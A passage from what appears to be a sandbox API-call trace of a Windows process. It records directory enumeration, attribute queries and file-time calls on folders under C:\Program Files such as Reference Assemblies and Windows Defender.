hFindFile=0x4fd520) returned 1 [0248.949] GetLastError () returned 0x12 [0248.949] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0248.949] GetLastError () returned 0x12 [0248.949] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0248.949] GetLastError () returned 0x12 [0248.949] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0248.949] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies" (normalized: "c:\\program files\\reference assemblies"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.949] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies" (normalized: "c:\\program files\\reference assemblies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0248.949] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0248.949] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0248.949] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0248.950] GetLastError () returned 0x12 [0248.950] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd5e0 [0248.950] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0248.950] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft" (normalized: "c:\\program files\\reference assemblies\\microsoft"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.950] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft" (normalized: "c:\\program files\\reference assemblies\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0248.950] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0248.950] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0248.950] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd4e0 [0248.950] GetLastError () returned 0x12 [0248.950] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5a0 [0248.951] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0248.951] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.951] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0248.951] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0248.951] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0248.951] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd4e0 [0248.951] GetLastError () returned 0x12 [0248.951] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd520 [0248.951] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0248.951] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.952] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0248.952] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0248.952] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0248.952] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0248.975] GetLastError () returned 0x12 [0248.975] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0248.975] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0248.975] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0249.084] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0249.085] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0249.085] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0249.085] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0249.085] GetLastError () returned 0x12 [0249.085] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd6a0 [0249.085] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0249.085] GetLastError () returned 0x12 [0249.085] FindClose (in: hFindFile=0x4fd6a0 | out: hFindFile=0x4fd6a0) returned 1 [0249.085] GetLastError () returned 0x12 [0249.085] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0249.086] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0249.086] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0249.086] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0249.086] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0249.086] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0249.304] GetLastError () returned 0x12 [0249.304] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd6a0 [0249.304] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0249.304] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0249.304] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0249.304] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0249.305] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0249.305] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0249.305] GetLastError () returned 0x12 [0249.305] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0249.305] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0249.305] GetLastError () returned 0x12 [0249.305] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0249.305] GetLastError () returned 0x12 [0249.305] FindClose (in: hFindFile=0x4fd6a0 | out: hFindFile=0x4fd6a0) returned 1 [0249.305] GetLastError () returned 0x12 [0249.305] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0249.305] GetLastError () returned 0x12 [0249.305] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0249.306] GetLastError () returned 0x12 [0249.306] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0249.306] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Uninstall Information" (normalized: "c:\\program files\\uninstall information"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xa00d1450, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00d1450, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0249.306] CreateFileW (lpFileName="C:\\Program Files\\Uninstall Information" (normalized: "c:\\program files\\uninstall information"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0249.306] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0249.306] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0249.306] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Uninstall Information\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd5e0 [0249.306] GetLastError () returned 0x12 [0249.306] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Uninstall Information\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd5a0 [0249.306] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0249.306] GetLastError () returned 0x12 [0249.307] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0249.307] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Defender" (normalized: "c:\\program files\\windows defender"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9fee2270, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fee2270, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0249.307] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender" (normalized: "c:\\program files\\windows defender"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0249.307] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0249.307] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0249.307] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Defender\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd5a0 [0249.308] GetLastError () returned 0x12 [0249.308] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Defender\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd5e0 [0249.308] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0249.308] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Defender\\en-US" (normalized: "c:\\program files\\windows defender\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0249.308] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\en-US" (normalized: "c:\\program files\\windows defender\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0249.308] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0249.308] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0249.308] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Defender\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5a0 [0249.309] GetLastError () returned 0x12 [0249.309] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Defender\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd520 [0249.309] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0249.309] GetLastError () returned 0x12 [0249.309] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0249.309] GetLastError () returned 0x12 [0249.309] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0249.309] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal" (normalized: "c:\\program files\\windows journal"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0249.309] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal" (normalized: "c:\\program files\\windows journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0249.309] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0249.309] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0249.310] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Journal\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd5e0 [0249.415] GetLastError () returned 0x12 [0249.415] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Journal\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd520 [0249.415] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0249.415] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US" (normalized: "c:\\program files\\windows journal\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0249.416] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US" (normalized: "c:\\program files\\windows journal\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0249.416] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0249.416] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0249.416] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5e0 [0249.488] GetLastError () returned 0x12 [0249.488] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5a0 [0249.488] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0249.488] GetLastError () returned 0x12 [0249.488] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0249.489] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates" (normalized: "c:\\program files\\windows journal\\templates"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0249.489] CreateFileW 